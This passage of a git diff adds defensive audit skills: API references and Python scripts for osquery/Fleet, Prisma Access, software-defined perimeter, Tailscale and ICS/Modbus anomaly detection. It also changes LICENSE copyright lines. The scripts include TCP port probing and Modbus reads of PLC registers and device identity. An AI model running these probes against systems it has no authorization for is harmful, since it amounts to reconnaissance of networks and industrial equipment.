check_fleet_status(fleet_url, api_token): + """Check Fleet server host enrollment status.""" + import requests + headers = {"Authorization": f"Bearer {api_token}"} + try: + resp = requests.get(f"{fleet_url}/api/v1/fleet/hosts", headers=headers, timeout=10) + resp.raise_for_status() + hosts = resp.json().get("hosts", []) + return [{ + "hostname": h.get("hostname", ""), + "platform": h.get("platform", ""), + "osquery_version": h.get("osquery_version", ""), + "status": h.get("status", ""), + "last_seen": h.get("seen_time", ""), + } for h in hosts] + except Exception as e: + return [{"error": str(e)}] + + +def run_audit(queries=None, fleet_url=None, api_token=None): + """Execute osquery security audit.""" + print(f"\n{'='*60}") + print(f" OSQUERY ENDPOINT MONITORING AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + selected = queries or list(SECURITY_QUERIES.keys()) + results = {} + for name in selected: + if name in SECURITY_QUERIES: + data = run_osquery(SECURITY_QUERIES[name]) + results[name] = data + count = len(data) if isinstance(data, list) else 0 + print(f"--- {name.upper()} ({count} results) ---") + for row in (data[:5] if isinstance(data, list) else []): + if "error" not in row: + print(f" {json.dumps(row)[:100]}") + + if fleet_url and api_token: + fleet = check_fleet_status(fleet_url, api_token) + results["fleet_hosts"] = fleet + print(f"\n--- FLEET HOSTS ({len(fleet)}) ---") + for h in fleet[:10]: + if "error" not in h: + print(f" {h['hostname']}: {h['platform']} ({h['status']})") + + return results + + +def main(): + parser = argparse.ArgumentParser(description="osquery Monitoring Agent") + parser.add_argument("--queries", nargs="+", choices=list(SECURITY_QUERIES.keys()), + help="Specific queries to run") + parser.add_argument("--fleet-url", help="Fleet server URL") + parser.add_argument("--api-token", help="Fleet API token") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.queries, args.fleet_url, args.api_token) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/deploying-palo-alto-prisma-access-zero-trust/LICENSE b/skills/deploying-palo-alto-prisma-access-zero-trust/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/deploying-palo-alto-prisma-access-zero-trust/LICENSE +++ b/skills/deploying-palo-alto-prisma-access-zero-trust/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/deploying-palo-alto-prisma-access-zero-trust/references/api-reference.md b/skills/deploying-palo-alto-prisma-access-zero-trust/references/api-reference.md new file mode 100644 index 00000000..0c6b3aa7 --- /dev/null +++ b/skills/deploying-palo-alto-prisma-access-zero-trust/references/api-reference.md @@ -0,0 +1,52 @@ +# Palo Alto Prisma Access Zero Trust — API Reference + +## Authentication + +| Parameter | Value | +|-----------|-------| +| Token URL | `https://auth.apps.paloaltonetworks.com/oauth2/access_token` | +| Grant Type | `client_credentials` | +| Scope | `tsg_id:` | + +## SASE Configuration API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/sse/config/v1/remote-networks` | List remote network connections | +| GET | `/sse/config/v1/service-connections` | List service connections | +| GET | `/sse/config/v1/ike-gateways` | List IKE gateway configurations | +| GET | `/sse/config/v1/security-rules` | List security policy rules | +| GET | `/sse/config/v1/hip-profiles` | List Host Information Profiles | +| GET | `/sse/config/v1/mobile-agent/global-settings` | GlobalProtect mobile user config | +| POST | `/sse/config/v1/security-rules` | Create security rule | +| PUT | `/sse/config/v1/security-rules/{id}` | Update security rule | + +## Base URL + +``` +https://api.sase.paloaltonetworks.com +``` + +## Security Rule Actions + +| Action | Description | +|--------|-------------| +| `allow` | Permit traffic matching rule | +| `deny` | Block traffic matching rule | +| `drop` | Silently drop traffic | +| `reset-client` | Send TCP RST to client | + +## HIP Match Criteria + +| Field | Description | +|-------|-------------| +| `disk-encryption` | Require disk encryption enabled | +| `firewall` | Require host firewall active | +| `patch-management` | Require OS patches current | +| `anti-malware` | Require AV/EDR running | + +## External References + +- [Prisma Access SASE API](https://pan.dev/sase/api/) +- [Prisma Access Configuration Guide](https://docs.paloaltonetworks.com/prisma-access) +- [SASE Authentication](https://pan.dev/sase/docs/getstarted/) diff --git a/skills/deploying-palo-alto-prisma-access-zero-trust/scripts/agent.py b/skills/deploying-palo-alto-prisma-access-zero-trust/scripts/agent.py new file mode 100644 index 00000000..057e8f54 --- /dev/null +++ b/skills/deploying-palo-alto-prisma-access-zero-trust/scripts/agent.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +"""Palo Alto Prisma Access zero trust deployment audit agent.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +class PrismaAccessClient: + """Client for Prisma Access Cloud Management API.""" + + def __init__(self, tsg_id, client_id, client_secret): + self.base_url = "https://api.sase.paloaltonetworks.com" + self.tsg_id = tsg_id + self.token = self._authenticate(client_id, client_secret) + + def _authenticate(self, client_id, client_secret): + resp = requests.post( + "https://auth.apps.paloaltonetworks.com/oauth2/access_token", + data={ + "grant_type": "client_credentials", + "scope": f"tsg_id:{self.tsg_id}", + }, + auth=(client_id, client_secret), + timeout=15, + ) + resp.raise_for_status() + return resp.json()["access_token"] + + def _get(self, path, params=None): + headers = {"Authorization": f"Bearer {self.token}"} + resp = requests.get(f"{self.base_url}{path}", headers=headers, + params=params, timeout=15) + resp.raise_for_status() + return resp.json() + + def list_remote_networks(self): + return self._get("/sse/config/v1/remote-networks").get("data", []) + + def list_service_connections(self): + return self._get("/sse/config/v1/service-connections").get("data", []) + + def list_ike_gateways(self): + return self._get("/sse/config/v1/ike-gateways").get("data", []) + + def list_security_rules(self): + return self._get("/sse/config/v1/security-rules").get("data", []) + + def list_hip_profiles(self): + return self._get("/sse/config/v1/hip-profiles").get("data", []) + + def get_mobile_users_config(self): + return self._get("/sse/config/v1/mobile-agent/global-settings").get("data", {}) + + +def audit_security_rules(rules): + """Check for overly permissive security rules.""" + findings = [] + for rule in rules: + if rule.get("action") == "allow": + src = rule.get("source", []) + dst = rule.get("destination", []) + if "any" in src and "any" in dst: + findings.append({ + "rule": rule.get("name", ""), + "issue": "Allow-any-to-any rule detected", + "severity": "HIGH", + }) + if not rule.get("log_end", False): + findings.append({ + "rule": rule.get("name", ""), + "issue": "Logging not enabled on rule", + "severity": "MEDIUM", + }) + return findings + + +def run_audit(tsg_id, client_id, client_secret): + """Execute Prisma Access zero trust audit.""" + print(f"\n{'='*60}") + print(f" PRISMA ACCESS ZERO TRUST AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + client = PrismaAccessClient(tsg_id, client_id, client_secret) + report = {} + + networks = client.list_remote_networks() + report["remote_networks"] = len(networks) + print(f"--- REMOTE NETWORKS ({len(networks)}) ---") + for n in networks[:10]: + print(f" {n.get('name', '')}: region={n.get('region', '')}") + + connections = client.list_service_connections() + report["service_connections"] = len(connections) + print(f"\n--- SERVICE CONNECTIONS ({len(connections)}) ---") + for c in connections[:10]: + print(f" {c.get('name', '')}: {c.get('ipsec_tunnel', '')}") + + rules = client.list_security_rules() + findings = audit_security_rules(rules) + report["security_rules"] = len(rules) + report["findings"] = findings + print(f"\n--- SECURITY RULES ({len(rules)}) ---") + print(f" Findings: {len(findings)}") + for f in findings[:10]: + print(f" [{f['severity']}] {f['rule']}: {f['issue']}") + + hip = client.list_hip_profiles() + report["hip_profiles"] = len(hip) + print(f"\n--- HIP PROFILES ({len(hip)}) ---") + for h in hip[:5]: + print(f" {h.get('name', '')}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="Prisma Access Zero Trust Audit") + parser.add_argument("--tsg-id", required=True, help="Tenant Service Group ID") + parser.add_argument("--client-id", required=True, help="OAuth client ID") + parser.add_argument("--client-secret", required=True, help="OAuth client secret") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.tsg_id, args.client_id, args.client_secret) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/deploying-software-defined-perimeter/LICENSE b/skills/deploying-software-defined-perimeter/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/deploying-software-defined-perimeter/LICENSE +++ b/skills/deploying-software-defined-perimeter/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/deploying-software-defined-perimeter/references/api-reference.md b/skills/deploying-software-defined-perimeter/references/api-reference.md new file mode 100644 index 00000000..70dad0dc --- /dev/null +++ b/skills/deploying-software-defined-perimeter/references/api-reference.md @@ -0,0 +1,56 @@ +# Software-Defined Perimeter — API Reference + +## Core SDP Concepts + +| Component | Description | +|-----------|-------------| +| SDP Controller | Central policy engine managing authentication and authorization | +| SDP Gateway | Enforces access policies, terminates encrypted tunnels | +| SDP Client | End-user agent performing Single Packet Authorization (SPA) | +| SPA (Single Packet Authorization) | Cryptographic knock before TCP connection allowed | + +## Appgate SDP Admin API + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/admin/login` | Authenticate and get Bearer token | +| GET | `/admin/sites` | List configured sites | +| GET | `/admin/policies` | List access policies | +| GET | `/admin/entitlements` | List entitlements (resource access rules) | +| GET | `/admin/appliances` | List SDP gateways and controllers | +| GET | `/admin/identity-providers` | List identity providers | +| POST | `/admin/entitlements` | Create new entitlement | + +## Dark Port Scanning + +```python +import socket +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.settimeout(5) +result = sock.connect_ex((host, port)) # Non-zero = port dark (SDP enforced) +``` + +## Mutual TLS Verification + +```python +import ssl +ctx = ssl.create_default_context() +ctx.load_cert_chain("client.crt", "client.key") +with ctx.wrap_socket(socket.socket(), server_hostname=host) as s: + s.connect((host, 443)) +``` + +## SPA Packet Structure + +| Field | Description | +|-------|-------------| +| Random Data | 16 bytes of random padding | +| Username | SDP client identity | +| Timestamp | Prevents replay attacks | +| HMAC | SHA-256 authentication code | + +## External References + +- [Appgate SDP API Docs](https://sdphelp.appgate.com/adminguide/rest-api-guide.html) +- [CSA SDP Specification](https://cloudsecurityalliance.org/research/sdp/) +- [fwknop SPA Tool](https://www.cipherdyne.org/fwknop/) diff --git a/skills/deploying-software-defined-perimeter/scripts/agent.py b/skills/deploying-software-defined-perimeter/scripts/agent.py new file mode 100644 index 00000000..be495921 --- /dev/null +++ b/skills/deploying-software-defined-perimeter/scripts/agent.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""Software-Defined Perimeter (SDP) deployment audit agent.""" + +import json +import sys +import argparse +import socket +import ssl +from datetime import datetime + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +def check_spa_port(host, port, timeout=5): + """Check if a port responds to standard TCP connect (should be dark in SDP).""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((host, port)) + sock.close() + return {"host": host, "port": port, "open": result == 0} + except socket.error as e: + return {"host": host, "port": port, "open": False, "error": str(e)} + + +def audit_dark_ports(host, ports): + """Verify SDP ports are invisible to unauthorized scanners.""" + results = [] + for port in ports: + scan = check_spa_port(host, port) + if scan.get("open"): + scan["finding"] = "Port visible without SPA — SDP not enforced" + scan["severity"] = "HIGH" + else: + scan["finding"] = "Port dark — SDP enforced" + scan["severity"] = "INFO" + results.append(scan) + return results + + +def check_tls_mutual_auth(host, port, client_cert=None, client_key=None): + """Verify mutual TLS authentication on SDP controller.""" + result = {"host": host, "port": port} + try: + ctx = ssl.create_default_context() + if client_cert and client_key: + ctx.load_cert_chain(client_cert, client_key) + with ctx.wrap_socket(socket.socket(), server_hostname=host) as s: + s.settimeout(10) + s.connect((host, port)) + cert = s.getpeercert() + result["tls_version"] = s.version() + result["cipher"] = s.cipher()[0] + result["server_cn"] = dict(x[0] for x in cert.get("subject", ())) + result["mtls_enforced"] = client_cert is not None + except ssl.SSLError as e: + result["error"] = str(e) + if "CERTIFICATE_REQUIRED" in str(e): + result["mtls_enforced"] = True + result["finding"] = "Server requires client certificate — mTLS enforced" + except Exception as e: + result["error"] = str(e) + return result + + +class SDPControllerClient: + """Client for SDP controller REST API (e.g., Appgate SDP).""" + + def __init__(self, controller_url, username, password): + self.base_url = controller_url.rstrip("/") + self.session = requests.Session() + self._authenticate(username, password) + + def _authenticate(self, username, password): + resp = self.session.post(f"{self.base_url}/admin/login", json={ + "providerName": "local", + "username": username, + "password": password, + }, timeout=15, verify=True) + resp.raise_for_status() + token = resp.json().get("token", "") + self.session.headers.update({"Authorization": f"Bearer {token}"}) + + def list_sites(self): + resp = self.session.get(f"{self.base_url}/admin/sites", timeout=15) + resp.raise_for_status() + return resp.json().get("data", []) + + def list_policies(self): + resp = self.session.get(f"{self.base_url}/admin/policies", timeout=15) + resp.raise_for_status() + return resp.json().get("data", []) + + def list_entitlements(self): + resp = self.session.get(f"{self.base_url}/admin/entitlements", timeout=15) + resp.raise_for_status() + return resp.json().get("data", []) + + def list_appliances(self): + resp = self.session.get(f"{self.base_url}/admin/appliances", timeout=15) + resp.raise_for_status() + return resp.json().get("data", []) + + +def run_audit(args): + """Execute SDP deployment audit.""" + print(f"\n{'='*60}") + print(f" SOFTWARE-DEFINED PERIMETER AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.scan_host: + ports = [int(p) for p in args.ports.split(",")] if args.ports else [22, 443, 8443, 3389] + dark_results = audit_dark_ports(args.scan_host, ports) + report["dark_port_scan"] = dark_results + print(f"--- DARK PORT SCAN ({args.scan_host}) ---") + for r in dark_results: + status = "OPEN" if r["open"] else "DARK" + print(f" Port {r['port']}: {status} — {r['finding']}") + + if args.mtls_host: + mtls = check_tls_mutual_auth(args.mtls_host, args.mtls_port or 443, + args.client_cert, args.client_key) + report["mtls_check"] = mtls + print(f"\n--- MUTUAL TLS CHECK ---") + print(f" Host: {mtls['host']}:{mtls['port']}") + print(f" mTLS Enforced: {mtls.get('mtls_enforced', 'unknown')}") + if mtls.get("tls_version"): + print(f" TLS Version: {mtls['tls_version']}") + + if args.controller_url and args.username and args.password: + client = SDPControllerClient(args.controller_url, args.username, args.password) + appliances = client.list_appliances() + report["appliances"] = len(appliances) + print(f"\n--- SDP APPLIANCES ({len(appliances)}) ---") + for a in appliances[:10]: + print(f" {a.get('name', '')}: {a.get('function', '')} ({a.get('state', '')})") + + entitlements = client.list_entitlements() + report["entitlements"] = len(entitlements) + print(f"\n--- ENTITLEMENTS ({len(entitlements)}) ---") + for e in entitlements[:10]: + print(f" {e.get('name', '')}: {e.get('site', '')} -> {e.get('actions', [])}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="SDP Deployment Audit") + parser.add_argument("--scan-host", help="Host to scan for dark ports") + parser.add_argument("--ports", help="Comma-separated ports to scan (default: 22,443,8443,3389)") + parser.add_argument("--mtls-host", help="Host to check mutual TLS") + parser.add_argument("--mtls-port", type=int, default=443, help="mTLS port") + parser.add_argument("--client-cert", help="Client certificate for mTLS test") + parser.add_argument("--client-key", help="Client key for mTLS test") + parser.add_argument("--controller-url", help="SDP controller URL (Appgate)") + parser.add_argument("--username", help="Controller admin username") + parser.add_argument("--password", help="Controller admin password") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/deploying-tailscale-for-zero-trust-vpn/LICENSE b/skills/deploying-tailscale-for-zero-trust-vpn/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/deploying-tailscale-for-zero-trust-vpn/LICENSE +++ b/skills/deploying-tailscale-for-zero-trust-vpn/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/deploying-tailscale-for-zero-trust-vpn/references/api-reference.md b/skills/deploying-tailscale-for-zero-trust-vpn/references/api-reference.md new file mode 100644 index 00000000..3909636a --- /dev/null +++ b/skills/deploying-tailscale-for-zero-trust-vpn/references/api-reference.md @@ -0,0 +1,56 @@ +# Tailscale Zero Trust VPN — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | Tailscale API v2 client | + +## Tailscale API v2 Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/v2/tailnet/{tailnet}/devices` | List all devices in tailnet | +| GET | `/api/v2/tailnet/{tailnet}/acl` | Get ACL policy | +| PUT | `/api/v2/tailnet/{tailnet}/acl` | Update ACL policy | +| GET | `/api/v2/tailnet/{tailnet}/dns/nameservers` | Get DNS nameservers | +| GET | `/api/v2/tailnet/{tailnet}/keys` | List auth keys | +| GET | `/api/v2/device/{deviceid}` | Get device details | +| DELETE | `/api/v2/device/{deviceid}` | Remove device from tailnet | +| GET | `/api/v2/tailnet/{tailnet}/webhooks` | List webhooks | + +## Base URL & Authentication + +``` +Base: https://api.tailscale.com +Header: Authorization: Bearer +``` + +## ACL Policy Structure + +| Field | Description | +|-------|-------------| +| `acls` | Access control rules (src, dst, action) | +| `groups` | Named groups of users | +| `tagOwners` | Tag-based device ownership | +| `ssh` | Tailscale SSH access rules | +| `autoApprovers` | Auto-approve routes and exit nodes | +| `tests` | ACL policy unit tests | + +## Device Fields + +| Field | Description | +|-------|-------------| +| `hostname` | Device hostname | +| `os` | Operating system | +| `clientVersion` | Tailscale client version | +| `keyExpiryDisabled` | Whether key expiry is disabled | +| `online` | Current online status | +| `lastSeen` | Last seen timestamp | +| `addresses` | Tailscale IP addresses | + +## External References + +- [Tailscale API Docs](https://tailscale.com/api) +- [Tailscale ACL Policy](https://tailscale.com/kb/1018/acls) +- [Tailscale SSH](https://tailscale.com/kb/1193/tailscale-ssh) diff --git a/skills/deploying-tailscale-for-zero-trust-vpn/scripts/agent.py b/skills/deploying-tailscale-for-zero-trust-vpn/scripts/agent.py new file mode 100644 index 00000000..0e00bfe0 --- /dev/null +++ b/skills/deploying-tailscale-for-zero-trust-vpn/scripts/agent.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +"""Tailscale zero trust VPN deployment audit agent.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +class TailscaleClient: + """Client for Tailscale API v2.""" + + def __init__(self, api_key, tailnet="-"): + self.base_url = "https://api.tailscale.com/api/v2" + self.tailnet = tailnet + self.headers = {"Authorization": f"Bearer {api_key}"} + + def _get(self, path): + resp = requests.get(f"{self.base_url}{path}", + headers=self.headers, timeout=15) + resp.raise_for_status() + return resp.json() + + def list_devices(self): + return self._get(f"/tailnet/{self.tailnet}/devices").get("devices", []) + + def get_acl(self): + return self._get(f"/tailnet/{self.tailnet}/acl") + + def list_dns(self): + return self._get(f"/tailnet/{self.tailnet}/dns/nameservers") + + def get_key_expiry_disabled(self): + return self._get(f"/tailnet/{self.tailnet}/keys") + + def list_webhooks(self): + return self._get(f"/tailnet/{self.tailnet}/webhooks").get("webhooks", []) + + +def audit_devices(devices): + """Audit device compliance: OS versions, key expiry, last seen.""" + findings = [] + now = datetime.utcnow() + for dev in devices: + hostname = dev.get("hostname", "unknown") + if dev.get("keyExpiryDisabled", False): + findings.append({ + "device": hostname, + "issue": "Key expiry disabled — device never requires re-authentication", + "severity": "HIGH", + }) + if not dev.get("updateAvailable", False) is False and dev.get("updateAvailable"): + findings.append({ + "device": hostname, + "issue": "Tailscale update available but not installed", + "severity": "MEDIUM", + }) + os_name = dev.get("os", "") + if dev.get("blocksIncomingConnections", False): + findings.append({ + "device": hostname, + "issue": "Device blocks incoming connections (shields up mode)", + "severity": "INFO", + }) + return findings + + +def audit_acl(acl_data): + """Check ACL policy for overly permissive rules.""" + findings = [] + acls = acl_data.get("acls", []) if isinstance(acl_data, dict) else [] + for i, rule in enumerate(acls): + src = rule.get("src", []) + dst = rule.get("dst", []) + if "*" in src and any("*:*" in d for d in dst): + findings.append({ + "rule_index": i, + "issue": "Allow-all rule: src=* dst=*:* — no zero trust segmentation", + "severity": "CRITICAL", + }) + ssh_rules = acl_data.get("ssh", []) if isinstance(acl_data, dict) else [] + for rule in ssh_rules: + if rule.get("action") == "accept" and "*" in rule.get("src", []): + findings.append({ + "rule": "SSH", + "issue": "SSH access allowed from all users", + "severity": "HIGH", + }) + return findings + + +def run_audit(api_key, tailnet): + """Execute Tailscale zero trust audit.""" + print(f"\n{'='*60}") + print(f" TAILSCALE ZERO TRUST VPN AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + client = TailscaleClient(api_key, tailnet) + report = {} + + devices = client.list_devices() + report["total_devices"] = len(devices) + print(f"--- DEVICES ({len(devices)}) ---") + for d in devices[:15]: + print(f" {d.get('hostname','')}: {d.get('os','')}/{d.get('clientVersion','')} " + f"({'online' if d.get('online') else 'offline'})") + + dev_findings = audit_devices(devices) + report["device_findings"] = dev_findings + print(f"\n--- DEVICE FINDINGS ({len(dev_findings)}) ---") + for f in dev_findings[:10]: + print(f" [{f['severity']}] {f['device']}: {f['issue']}") + + acl_data = client.get_acl() + acl_findings = audit_acl(acl_data) + report["acl_findings"] = acl_findings + print(f"\n--- ACL POLICY FINDINGS ({len(acl_findings)}) ---") + for f in acl_findings[:10]: + print(f" [{f['severity']}] {f['issue']}") + + dns = client.list_dns() + report["dns_config"] = dns + print(f"\n--- DNS CONFIG ---") + for ns in dns.get("dns", []): + print(f" Nameserver: {ns}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="Tailscale Zero Trust Audit") + parser.add_argument("--api-key", required=True, help="Tailscale API key") + parser.add_argument("--tailnet", default="-", help="Tailnet name (default: current)") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.api_key, args.tailnet) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-anomalies-in-industrial-control-systems/LICENSE b/skills/detecting-anomalies-in-industrial-control-systems/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-anomalies-in-industrial-control-systems/LICENSE +++ b/skills/detecting-anomalies-in-industrial-control-systems/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-anomalies-in-industrial-control-systems/references/api-reference.md b/skills/detecting-anomalies-in-industrial-control-systems/references/api-reference.md new file mode 100644 index 00000000..578934c7 --- /dev/null +++ b/skills/detecting-anomalies-in-industrial-control-systems/references/api-reference.md @@ -0,0 +1,57 @@ +# ICS Anomaly Detection — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| pymodbus | `pip install pymodbus` | Modbus TCP/RTU client | +| requests | `pip install requests` | Historian and SIEM API access | + +## Modbus TCP Protocol + +| Function Code | Name | Risk | +|---------------|------|------| +| 1 | Read Coils | Low | +| 3 | Read Holding Registers | Low | +| 5 | Write Single Coil | Medium | +| 6 | Write Single Register | Medium | +| 15 | Write Multiple Coils | High | +| 16 | Write Multiple Registers | High | +| 43 | Read Device Identification | Recon | + +## Common ICS Ports + +| Port | Protocol | Description | +|------|----------|-------------| +| 502 | Modbus TCP | PLC communication | +| 102 | S7comm | Siemens S7 PLCs | +| 44818 | EtherNet/IP | Allen-Bradley / Rockwell | +| 20000 | DNP3 | Distributed Network Protocol | +| 4840 | OPC-UA | OPC Unified Architecture | +| 47808 | BACnet | Building automation | + +## pymodbus Client Usage + +```python +from pymodbus.client import ModbusTcpClient +client = ModbusTcpClient("192.168.1.10", port=502) +client.connect() +result = client.read_holding_registers(0, count=10, slave=1) +print(result.registers) +client.close() +``` + +## Anomaly Detection Thresholds + +| Metric | Threshold | Severity | +|--------|-----------|----------| +| Unusual function codes | FC 8, 17, 43, 90+ | HIGH | +| Write frequency > 100/min | Burst writes | CRITICAL | +| Exception responses | Any exception code | MEDIUM | +| New source IP to PLC | Unauthorized access | CRITICAL | + +## External References + +- [pymodbus Docs](https://pymodbus.readthedocs.io/) +- [ICS-CERT Advisories](https://www.cisa.gov/ics-advisories) +- [NIST SP 800-82 Guide to ICS Security](https://csrc.nist.gov/publications/detail/sp/800-82/rev-3/final) diff --git a/skills/detecting-anomalies-in-industrial-control-systems/scripts/agent.py b/skills/detecting-anomalies-in-industrial-control-systems/scripts/agent.py new file mode 100644 index 00000000..c6339096 --- /dev/null +++ b/skills/detecting-anomalies-in-industrial-control-systems/scripts/agent.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +"""ICS/SCADA anomaly detection agent for industrial control systems.""" + +import json +import sys +import argparse +import struct +import socket +from datetime import datetime + +try: + from pymodbus.client import ModbusTcpClient +except ImportError: + ModbusTcpClient = None + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +MODBUS_FUNCTION_CODES = { + 1: "Read Coils", 2: "Read Discrete Inputs", 3: "Read Holding Registers", + 4: "Read Input Registers", 5: "Write Single Coil", 6: "Write Single Register", + 15: "Write Multiple Coils", 16: "Write Multiple Registers", + 43: "Read Device Identification", +} + +ANOMALOUS_FUNCTION_CODES = {8, 17, 43, 90, 100} + + +def scan_modbus_device(host, port=502, unit_id=1): + """Read Modbus device identification and holding registers.""" + if ModbusTcpClient is None: + return {"error": "Install pymodbus: pip install pymodbus"} + client = ModbusTcpClient(host, port=port, timeout=10) + result = {"host": host, "port": port, "unit_id": unit_id} + try: + if not client.connect(): + result["error"] = "Connection failed" + return result + rr = client.read_holding_registers(0, count=10, slave=unit_id) + if not rr.isError(): + result["holding_registers_0_9"] = rr.registers + rr2 = client.read_device_information(slave=unit_id) + if hasattr(rr2, "information") and not rr2.isError(): + result["device_info"] = {k: v.decode() if isinstance(v, bytes) else v + for k, v in rr2.information.items()} + except Exception as e: + result["error"] = str(e) + finally: + client.close() + return result + + +def analyze_modbus_traffic(pcap_summary): + """Analyze Modbus traffic patterns for anomalies from parsed PCAP data.""" + findings = [] + for entry in pcap_summary: + fc = entry.get("function_code", 0) + if fc in ANOMALOUS_FUNCTION_CODES: + findings.append({ + "src": entry.get("src_ip", ""), + "dst": entry.get("dst_ip", ""), + "function_code": fc, + "issue": f"Unusual Modbus function code {fc} — potential reconnaissance", + "severity": "HIGH", + }) + if entry.get("write_count", 0) > 100: + findings.append({ + "src": entry.get("src_ip", ""), + "issue": f"High write frequency ({entry['write_count']} writes) — possible attack", + "severity": "CRITICAL", + }) + if entry.get("exception_code"): + findings.append({ + "src": entry.get("src_ip", ""), + "issue": f"Modbus exception code {entry['exception_code']} — device error", + "severity": "MEDIUM", + }) + return findings + + +def check_ics_network_segmentation(host, ics_ports=None): + """Verify ICS network segmentation by testing connectivity to OT ports.""" + if ics_ports is None: + ics_ports = [502, 102, 44818, 20000, 4840] + port_names = {502: "Modbus", 102: "S7comm", 44818: "EtherNet/IP", + 20000: "DNP3", 4840: "OPC-UA"} + results = [] + for port in ics_ports: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + open_status = sock.connect_ex((host, port)) == 0 + sock.close() + result = { + "host": host, "port": port, + "protocol": port_names.get(port, "unknown"), + "accessible": open_status, + } + if open_status: + result["finding"] = f"{port_names.get(port, '')} port accessible from IT network" + result["severity"] = "CRITICAL" + results.append(result) + except socket.error: + pass + return results + + +def query_historian_anomalies(historian_url, api_key, tag_name, hours=24): + """Query process historian for anomalous sensor readings.""" + headers = {"Authorization": f"Bearer {api_key}"} + try: + resp = requests.get(f"{historian_url}/api/v1/tags/{tag_name}/values", + params={"hours": hours}, headers=headers, timeout=15) + resp.raise_for_status() + data = resp.json().get("values", []) + values = [v["value"] for v in data if "value" in v] + if not values: + return {"tag": tag_name, "anomalies": []} + avg = sum(values) / len(values) + std = (sum((v - avg) ** 2 for v in values) / len(values)) ** 0.5 + anomalies = [v for v in data if abs(v.get("value", avg) - avg) > 3 * std] + return {"tag": tag_name, "mean": avg, "std_dev": std, + "total_readings": len(values), "anomalies": len(anomalies)} + except Exception as e: + return {"tag": tag_name, "error": str(e)} + + +def run_audit(args): + """Execute ICS anomaly detection audit.""" + print(f"\n{'='*60}") + print(f" ICS ANOMALY DETECTION AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.modbus_host: + device = scan_modbus_device(args.modbus_host, args.modbus_port or 502) + report["modbus_device"] = device + print(f"--- MODBUS DEVICE SCAN ---") + print(f" Host: {device['host']}:{device['port']}") + if device.get("holding_registers_0_9"): + print(f" Registers 0-9: {device['holding_registers_0_9']}") + if device.get("error"): + print(f" Error: {device['error']}") + + if args.scan_host: + seg_results = check_ics_network_segmentation(args.scan_host) + report["segmentation_check"] = seg_results + print(f"\n--- NETWORK SEGMENTATION CHECK ---") + for r in seg_results: + status = "ACCESSIBLE" if r["accessible"] else "BLOCKED" + print(f" {r['protocol']} (:{r['port']}): {status}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="ICS Anomaly Detection Agent") + 